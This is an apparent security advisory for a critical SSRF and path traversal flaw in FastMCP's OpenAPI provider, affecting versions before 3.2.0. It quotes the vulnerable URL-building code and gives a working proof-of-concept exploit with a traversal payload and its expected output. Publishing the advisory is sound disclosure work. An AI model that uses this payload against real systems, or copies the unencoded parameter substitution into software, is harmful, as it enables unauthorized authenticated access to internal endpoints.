FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
Critical10.0CVE-2026-32871 · Published Mar 31, 2026 · updated Sep 10, 2026
## Technical Description The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service. A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL. Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider. --- ## Vulnerable Code **File:** `fastmcp/utilities/openapi/director.py` ```python def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: # Direct string substitution without encoding url_path = path_template for param_name, param_value in path_params....
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| fastmcp PyPI | < 3.2.0 | 3.2.0 |
Details and references
## Technical Description The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service. A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL. Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider. --- ## Vulnerable Code **File:** `fastmcp/utilities/openapi/director.py` ```python def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: # Direct string substitution without encoding url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: url_path = url_path.replace(placeholder, str(param_value)) # urljoin resolves ../ escape sequences return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ``` ### Root Cause 1. Path parameters are substituted directly without URL encoding 2. `urllib.parse.urljoin()` interprets `../` as directory traversal 3. No validation prevents traversal sequences in parameter values 4. Requests inherit the authentication context of the MCP provider --- ## Proof of Concept ### Step 1: Backend API Setup Create `internal_api.py` to simulate a vulnerable backend server: ```python from fastapi import FastAPI, Header, HTTPException import uvicorn app = FastAPI() @app.get("/api/v1/users/{user_id}/profile") def get_profile(user_id: str): return {"status": "success", "user": user_id} @app.get("/admin/delete-all") def admin_endpoint(authorization: str = Header(None)): if authorization == "Bearer admin_secret": return {"status": "CRITICAL", "message": "Administrative access granted"} raise HTTPException(status_code=401) if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8080) ``` ### Step 2: Exploitation Script Create `exploit_poc.py`: ```python import asyncio import httpx from fastmcp.utilities.openapi.director import RequestDirector async def exploit_ssrf(): # Initialize vulnerable component director = RequestDirector(spec={}) base_url = "http://127.0.0.1:8080/" template = "/api/v1/users/{id}/profile" # Payload: Path traversal to reach /admin/delete-all # The '?' character neutralizes the rest of the original template payload = "../../../admin/delete-all?" # Construct malicious URL malicious_url = director._build_url(template, {"id": payload}, base_url) print(f"[*] Generated URL: {malicious_url}") async with httpx.AsyncClient() as client: # Request inherits MCP provider's authorization headers response = await client.get( malicious_url, headers={"Authorization": "Bearer admin_secret"} ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") if __name__ == "__main__": asyncio.run(exploit_ssrf()) ``` ### Expected Output ``` [*] Generated URL: http://127.0.0.1:8080/admin/delete-all? [+] Status Code: 200 [+] Response: {"status": "CRITICAL", "message": "Administrative access granted"} ``` The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials. --- ## Impact Assessment ### Severity Justification - **Unauthorized Access**: Attackers can interact with private endp
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-918
- Also known as
- CVE-2026-32871, PYSEC-2026-338
More fastmcp advisories
All fastmcp| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Mar 31 | FastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities | High | 3.2.0 |
| Mar 31 | FastMCP has a Command Injection vulnerability - Gemini CLI | Medium6.7 | 3.2.0 |
| Mar 16 | FastMCP OAuth Proxy token reuse across MCP servers | High | 2.14.2 |
| Dec 262025 | FastMCP updated to MCP 1.23+ due to CVE-2025-66416 | High | 2.14.0 |
| Oct 292025 | FastMCP vulnerable to windows command injection in FastMCP Cursor installer via server_name | Medium | 2.13.0 |
| Oct 292025 | FastMCP vulnerable to reflected XSS in client's callback page | Medium | 2.13.0 |